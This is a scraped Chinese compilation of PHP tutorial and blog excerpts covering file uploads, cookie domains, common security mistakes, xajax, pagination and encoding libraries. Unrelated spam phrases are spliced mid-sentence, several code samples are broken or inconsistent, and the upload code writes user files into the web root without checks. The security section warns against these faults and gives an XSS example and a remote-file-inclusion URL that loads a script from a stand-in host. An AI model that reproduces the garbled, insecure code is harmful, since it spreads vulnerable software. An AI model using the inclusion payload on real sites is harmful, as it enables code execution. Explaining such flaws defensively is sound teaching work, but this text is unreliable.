网路广告,变成了 Internet 上的热门学问。而 468x60 更变成了广告人员绞尽脑汁的尺寸。
在处理广告时,若能直接使用浏览器将广告的 468x60 图档送到处理广告的伺服器中,相信是件很舒服的事,不用再开 FTP 程式,搞大半天只为了 upload。
这个问题,是所有 Web CGI 程式的痛,包括 ASP、Prel....双缘敬老院等等,都需要再经过系统元件的增加才能达成。号称最强的 Web CGI 程式: PHP,在这方面的表现没有令人失望,甚至傲视其它的 CGI 工具。
File Upload 功能在 RFC 1867 文件有有详细的说明,是利用特殊的文件格式 (content-type) multipart/form-data。值得注意的是浏览器一定要用 Netscape 3.0 以上或 MS Internet Explorer 4.0 以上的版本才能将档案上传。
先看下面的 HTML 原始码
< form enctype="multipart/form-data" action="next.php" method=post >
您的大名: < input type=text name=user >< br >
档案名称: < input name="myfile" type="file" >< br >
< input type="submit" value="送出" >
< /form >
在 form 的标签中,要加入 enctype="multipart/form-data" 的字串,表示使用者输入的资料上有档案上传,同时 method 一定要用 POST 而不能用 GET。
在上面的码中,若使用者姓名填入 Wilson Peng,并选 c:myphoto.gif 的档案,在使用者按下送出键后,浏览器则传送出下面的 POST 资料。 安装卫星电视
Content-type: multipart/form-data, boundary=AaB03x
--AaB03x
content-disposition: form-data; name="user"
Wilson Peng
--AaB03x
content-disposition: form-data; name="myfile"
Content-type: multipart/mixed, boundary=BbC04y
--BbC04y
Content-disposition: attachment; filename="myphoto.gif"
Content-type: image/gif
Content-Transfer-Encoding: binary
...myphoto.gif 内容略...
--BbC04y--
--AaB03x--
看到上面的资料中,boundary=AaB03x 即为分开不同栏位资料的讯息,其中的 AaB03x 编码方法,视浏览器的版本不同而异,通常是浏览器杂凑产生的。照明工程之后就可以看到用 --AaB03x 来隔开不同的栏位。
以上面为例,处理 form 的 action 程式 next.php,会主动产生四个变数,见下表
变数名 说明
$myfile 即上传的档案内容
$myfile_name 上传档案在使用者端的名称
$myfile_size 上传档案的大小
$myfile_type 上传档案的格式,如 "image/gif"
在 next.php 程式要做的最重要动作,就是好好的使用这四个变数,否则程式一结束,使用者上传的档案就消失了。因此,要先将 $myfile 复制到存放广告图的目录中茅台酒
copy($banner,"/home1/biglobe3/ad/".$banner_name);
这行程式就是将档案存在 /home/htdocs/ad 的目录中,就上面的例子而言,就将档案存到 /home/htdocs/ad/myphoto.gif。重要的是,存放的目录不能是 Web Server 无法读到的目录,而应放在网站的 Homepage 所在目录中,才可以在网路上看到。
或许程式要更细部的处理,例如比对取得的档案大小与系统回报的是否相同....等等,就可以用 $myfile_size 变数了
php cookie cn域名规范
以前真没在意cookie的作用域问题,可能以前用.com域名没出过问题,今天用公司的一个cn域名测试,怎么也不能实现cookie共享,后来采用js设置cookie,在另外一台服务器上共享cookie成功,真叫气人!翻阅了一下php的cookie 规范 ,里面有这么一段
Only hosts within the specified domain can set a cookie for a domain and domains must have at least two (2) or three (3) periods in them to prevent domains of the form: ".com", ".edu", and "va.us". Any domain that fails within one of the seven special top level domains listed below only require two periods. Any other domain requires at least three. The seven special top level domains are: "COM", "EDU", "NET", "ORG", "GOV", "MIL", and "INT".
看出来了吧,真他娘的草蛋!除了"COM", "EDU", "NET", "ORG", "GOV", "MIL", and "INT"这几个后缀的域名可以设置二级作用域,其他的域名至少三级才可以,也就是说想通过设置作用域为b.cn来实现a.b.cn和c.b.cn下的 cookie共享用php是不行的,php只能实现作用域b.a.cn下的d.b.a.cn和e.b.a.cn间的cookie共享,希望大家注意,再遇到此类问题,别浪费时间拼命的测试了……
PHP6的新特性:Unicode和TextIterator
我刚刚安装了PHP6 DEV版本,决定测试一下PHP6的新特性-PHP的Unicode支持。我并没有打算讲PHP6的新特性或者是Unicode,下面仅仅是我做的关于Unicode的测试。
phpMailer使用介绍
发送邮件是一个经常使用的功能,但是php的默认支持并不是很好,这里介绍一个很好的开源模块:phpmailer,此模块功能比较全面,支持SMTP验证。下面就简单介绍一下它的使用方法:
PHP程序员最易犯10种错误
PHP是个伟大的web开发语言,灵活的语言,但是看到php程序员周而复始的犯的一些错误。我做了下面这个列表,列出了PHP程序员经常犯的10中错误,大多数和安全相关。看看你犯了几种
1.不转意html entities
一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据) ,输出之前都要转意。
echo $_GET[''usename''] ;
这个例子有可能输出:
<scrīpt>/*更改admin密码的脚本或设置cookie的脚本*/</scrīpt>
这是一个明显的安全隐患,除非你保证你的用户都正确的输入。
如何修复 :
我们需要将"< ",">","and" 等转换成正确的HTML表示(< , >'', and "),函数htmlspecialchars 和 htmlentities()正是干这个活的。
正确的方法:
echo htmlspecialchars($_GET[''username''], ENT_QUOTES);
2. 不转意SQL输入
我曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法 。有人对我说,他们已经在php.ini中将magic_quotes设置为On,所以不必担心这个问题,但是不是所有的输入都是从$_GET, $_POST或 $_COOKIE中的得到的!
如何修复:
和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数
正确做法:
<?php
$sql = "UPDATE users SET
name=''.mysql_real_escape_string($name).''
WHERE id=''.mysql_real_escape_string ($id).''";
mysql_query($sql);
?>
3.错误的使用HTTP-header 相关的函数: header(), session_start(), setcookie()
遇到过这个警告吗?"warning: Cannot add header information - headers already sent [....]
每次从服务器下载一个网页的时候,服务器的输出都分成两个部分:头部和正文。
头部包含了一些非可视的数据,例如cookie。头部总是先到达。正文部分包括可视的html,图片等数据。
如果output_buffering设置为Off,所有的HTTP-header相关的函数必须在有输出之前调用。问题在于你在一个环境中开发,而在部署到另一个环境中去的时候,output_buffering的设置可能不一样。结果转向停止了,cookie和session都没有正确的设置........。
如何修复:
确保在输出之前调用http-header相关的函数,并且令output_buffering = Off
。
4. Require 或 include 的文件使用不安全的数据
再次强调:不要相信不是你自己显式声明的数据。不要 Include 或 require 从$_GET, $_POST 或 $_COOKIE 中得到的文件。
例如:
index.php
<?
//including header, config, database connection, etc
include($_GET[''filename'']);
//including footer
?>
现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt
来获取你的机密信息,或执行一个PHP脚本。
如果allow_url_fopen=On,你更是死定了:
试试这个输入:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。
php的ajax框架xajax入门与试用
一、xajax与其它ajax框架的比较
xajax功能很简单,但很灵活!~它不象其它一些大的框架,功能确实强大,但执行速度不敢恭维。。功能虽多,但不够灵活。api多,学起来简直如同学习一门新的语言。
xajax就没那么复杂,手册只有一页html,如下:
http://javascript.chinahtml.com/2006/javascript-11398213503517.shtml
二、xajax功能介绍
xajax的功能比较简单,但就因为简单,所以灵活。同时,这也要求使用者要对javascript / vbs 客户端脚本有一定的了解。因为它的功能是比较活的。可以说单纯使用xajax,什么也做不出,但配合js / vbs 又什么都做的出。
xajax主要是使用xajaxResponse这个类,它提供了一些方法,举例如下:
1、addAlert($sMsg)
弹出警告
2、addscript($sJS)
执行某段js
3、$objResponse->addAssign("","","")
给页面中的某个元素附值,或者修改其属性
等等。。。。
所以xajax不是死的,它不能做出XXX XXX功能来,但是它可以灵活的控制客户端的js / vbs,去完成我们要实现的效果。
三、xajax安装配置
不需要特别的安装和配置,只要下载其文件包,解压到网站目录中
下载地址:
http://www.xajaxproject.org/
三、用xajax做会员注册和登陆
1、数据库
采用mysql5.0,数据库名zl 表名zl_user 表结构
id int(11) auto_increment
zl_user varchar(50)
zl_pwd varchar(50)
email varchar(50)
2、reg.php 注册文件(内有说明)
<?php
require_once("inc/xajax.inc.php");
//使用xajax则必须首先引入xajax.inc.php
$xajax = new xajax("inc/signup.php");
//创建一个xajax对象,为singup.php
$xajax->registerFunction("processForm");
//使用singup.php里的processForm函数
?>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<link rel="stylesheet" href="http://blogbeta./css/style.css" type="text/css">
<title>无标题文档</title>
<?php $xajax->printJavascript(''inc/''); ?>
<script type="text/javascript">
function submitSignup()
{
xajax.$(''submitButton'').disabled=true;
&
PHP分页
1、前言
分页显示是一种非常常见的浏览和显示大量数据的方法,属于web编程中最常处理的事件之一。对于web编程的老手来说,编写这种代码实在是和呼吸一样自然,但是对于初学者来说,常常对这个问题摸不着头绪,因此特地撰写此文对这个问题进行详细的讲解,力求让看完这篇文章的朋友在看完以后对于分页显示的原理和实现方法有所了解。本文适合初学者阅读,所有示例代码均使用php编写。
PHP实现翻页跳转功能
我们都知道用 php+mysql 在 web 页实现数据库资料全部显示是非常简单而有趣的,数据库资料很少的情况下页面显示还是让人满意的,但是当数据库资料非常多的情况下,页面的显示情况将会变的 非常糟糕,下面就来介绍一下如何实现当前页面数据资料显示数量及如何实现动态的翻转功能.
这里将介绍两种翻页显示功能的实现:
-----------------------------------------------------------
先介绍一下在翻页中用到的数据库语法:
mysql_query("select * from table order by id desc");
这条数据库语句再熟悉不过了,是用来搜索记录并倒序地显示出来,但并不能在翻页功能中起作用,而下面这个扩展了的语法才是实现翻页的核心功能:
mysql_query("select * from table order by id desc limit $start,$limit");
这里的 $start 是数据库搜索的起始行,$limit 是从起始行开始搜索到 $limit 条记录结束,好了,有了这个核心功能后,我们可以开始翻页功能了;
-----------------------------------------------------------
第一种翻页功能:
这里介绍的功能是翻页功能中最简单的一种,只能实现向前翻页和向后翻页,本站的非常新闻和下载中心的翻页功能就是这种.
先介绍翻页功能实现的思路:
先确定当前页固定显示的数据记录数量,假设为 20 条记录,设定 $limit 的值为 20: $limit=20;
显示数据库记录时,必须是从第一条开始显示,所以这里设置 $start 的初始值为 0:$start=0;
而翻页功能的实现依赖 $start 的动态变化,当向后翻页时 $start 规律地加上 $limit:$start+$limit;而向前翻页时 $start 则规律地减去 $limit:$start-$limit;
有了以上的思路后,可以开始设计程序了 page.php:
<?
//设置当前页显示的数量(这个数量可任意设置)
$limit=20;
//初始化数据库搜索起始记录
if (!empty($start)) $start=0;
mysql_connect("localhost","","");
mysql_select_db(database);
//设置数据库记录总数
$result=mysql_query("select * from table");
$num_max=mysql_numrows($result);
$result=mysql_query("select * from table order by id desc limit $start,$limit);
PHP建站必读手册
Web 2.0意义深远。它像所有重大变革一样,从社会、文化甚至是政治等多方面影响着使用者。Web 2.0的设计者和开发者们是受影响最大的人群之一——不仅仅是因为他们需要新的技术手段,更重要原因是,他们需要认识到,内容应当作整体的一部分对待,它们并不是孤立存在的。
了解《构建可扩展的Web站点》该书,还是通过我一个在新西兰做PHP开发的朋友,向我强烈推荐此书,因为本人英语水平有限,所以直到出版了中文译本,才有幸拜读此书。
《构建可扩展的Web站点》可以说是构建Web站点的一整套解决方案。本书语言幽默诙谐,实例形象贴切,便于读者理解和在实际中应用。内容全面,涉及到软件和硬件各个方面的知识体系。小到主机托管,专用硬件大到层次化技术,软件接口设计。对网站的整体建设和架构进行了系统的阐述,可以说是一本学习网站建设的教科书。
第四章关于网站国际化、本地化和Unicode的介绍另我印象深刻,因为这是大多数网站开发者所忽略的问题,并且国内也没有任何书籍对此进行过介绍。其实在现代Web应用程序开发领域中,国际化、本地化和Unicode早已成为热门话题,随着更多产品和企业走向国际,如果我们建立的应用程序不能支持多种语言,就会丧失一大部分潜在用户。即使都是中国人,简体和繁体也存在着很大的差别,所以为了提升用户在网站的使用体验以及网站的粘合度,就应使我们的网站能够满足更多人群的使用要求和语言习惯。《构建可扩展的Web站点》就针对上述涉及的问题,给出了解决的方案。同时对Unicode进行了介绍,并教给我们如何能够快速简易地实现全Unicode的应用程序。
由于我一直从事PHP语言方面的推广工作,所以很欣慰可以从该书中看到PHP语言在Web站点架设中的重要地位。对于广大的PHPer来说,该书更是帮助我们方便、快捷、准确架设Web网站的工具书。
PHP中文编码集合类库
目前该类库可以实现,简体中文 <-> 繁体中文编码互换,简体中文、繁体中文 -> 拼音单向转换,
简体中文、繁体中文 <-> UTF8 编码转换,简体中文、繁体中文 -> Unicode单向转换
@作者 Hessian(solarischan@21cn.com)
@版本 1.5
@版权所有 Hessian / NETiS
@使用授权 GPL(不能应用于任何商业用途,无须经过作者同意即可修改代码,但修改后的代码必须按照GPL协议发布)
@特别鸣谢 unknow(繁简转换代码片断)
@起始 2003-04-01
@最后修改 2003-06-06
@访问 公开
更新记录
ver 1.7 2005-07-26
修改了while循环导致的bug。此bug当字符串最后一个字符为"0"的时候将处理错误。
受影响方法: CHStoUTF8() , CHStoUNICODE()
ver 1.6 2005-05-16
构造函数增加了一个参数以便用户可以方便的在使用的时候设置配置文件路径
ver 1.5 2003-06-06
增加 UTF8 转换到 GB2312、BIG5的功能。
ver 1.4 2003-04-07
增加 当转换HTML时设定为true,即可改变charset的值。
ver 1.3 2003-04-02
增加 繁体中文转换至拼音的功能。
ver 1.2 2003-04-02
合并 简体、繁体中文转换至UTF8的函数。
修改 简体中文转换至拼音的函数,返回值更改为字符串,每一个汉字的拼音用空格分开
增加 简体中文转换为 UNICODE 的功能。
增加 繁体中文转换为 UNICODE 的功能。
ver 1.1 2003-04-02
增加 OpenFile() 函数,支持打开本地文件和远程文件。
增加 简体中文转换为 UTF8 的功能。
增加 繁体中文转换为 UTF8 的功能。
ver 1.0 2003-04-01
一个集合了中文简体,中文繁体对应各种编码互换的类库已经初步完成。
黑客帝国之PHP与ASP.net不得不说的故事
勉勉强强,揣着这几天学到的心得,我又来鸡歪了
呵呵,为什么跟黑客帝国扯上关系呢,呵呵,这得从ASP.NET的封装讲起
在黑客帝国中所有的人他们全都自认为生活在一个有阳光,有绿色的世界中,实际上却是矩阵所构造的一种虚像与控制,他们不知道自已一直都在营养容器里面过着日子
就好像搞ASP.NET的人,他们跟泡在营养容器里的人一样,被MS构造出来的各种各样的类库包围着,他们从来不会想过这些类库是怎么来的(这些命名空间怎么来的),他们只关心怎么使用这些类库,这些命名空间,底层如何实现这些东西很少有人会去考虑。
他们实例化着MS提供的类库,调用着MS已经实现了的对像方法,但没有人见过这些类库的源码或是没有人知道这些类库及类库的方法是怎么实现的,就好像黑客帝国里面的人从来就没有试着睁开眼睛看到过外面的世界,他们只生活在被虚拟出来的环境中~
这两者何其相似
比如说调用AJAX,在asp.net中这现实AJAX何其简单,如果是之前没接触过别的WEB编程语言的直接来用ASP.net,他可能就不知道原来WEB要实现AJAX要通过JS,要通过XML,要通过xmlhttp,他只会觉得,WEB原本就是可以这样子的,他的思维给MS虚拟构造出来的假象给蒙蔽了。
就好像在黑客帝国里生活在矩阵电脑里的人都能一跳跳个十几米几十米的,他们可能会觉得很正常,但是现实中不是这样子的,现实中那不是正常的。
再举个例子,树状菜单,动态载入的
在PHP(应该说是常规中才对)中我们要实现树状菜单
假设在不知道有XLoadTree的情况下,我们可能要一砖一瓦的搞起,这样,我们了解非常深,知道每一次点击会触发什么事件,隐藏了什么,又显示了什么,又传输了什么,每个事件的触发都是我们自定义的
在后来知道了有XLoadTree类库的情况下,我们非常容易的就可以实现树状菜单,而且通过查看源码我们也可以很容易的了解到JS实现这些功能的过程和原理。
但是在asp.net中,实现这一切多么的简单,直接从控件栏里面拖TreeView过来就行了,你需要了解JS吗?不需要,尽管最终在浏览器端实现这一切的是用JS,但是,你不需要了解JS,你只需要知道treeview这个控件怎么用就行了,也就是说,你不会知道底层是怎么回事,最终的JS是怎么实现的。
夜深了,睡了,不说了~留待下回分解
————————————————————————
备注:我无意评比这两种语言谁优谁劣,那是傻人才干的事,我只是感到迷惑,我只是在把我在学asp.net过程中碰到的新事物与PHP进行比较,,用我被MS影响到的思维与常规的WEB思维进行对比。
“自慰”的说一句,我这算不算博取众长?
哈哈哈,开玩笑了,这句话只不过是逗大家一笑罢了
戏说PHP框架的味道
作者:老王
目前PHP社区里最成功的框架要数CakePHP,Symfony,ZendFramework了,有选择总是好事,不过选择多了也有烦恼,正所谓“有两块手表的人永远不知道准确的时间”。今天无聊,戏说一下我眼中PHP框架的味道。希望初学者选择框架时能有所参考。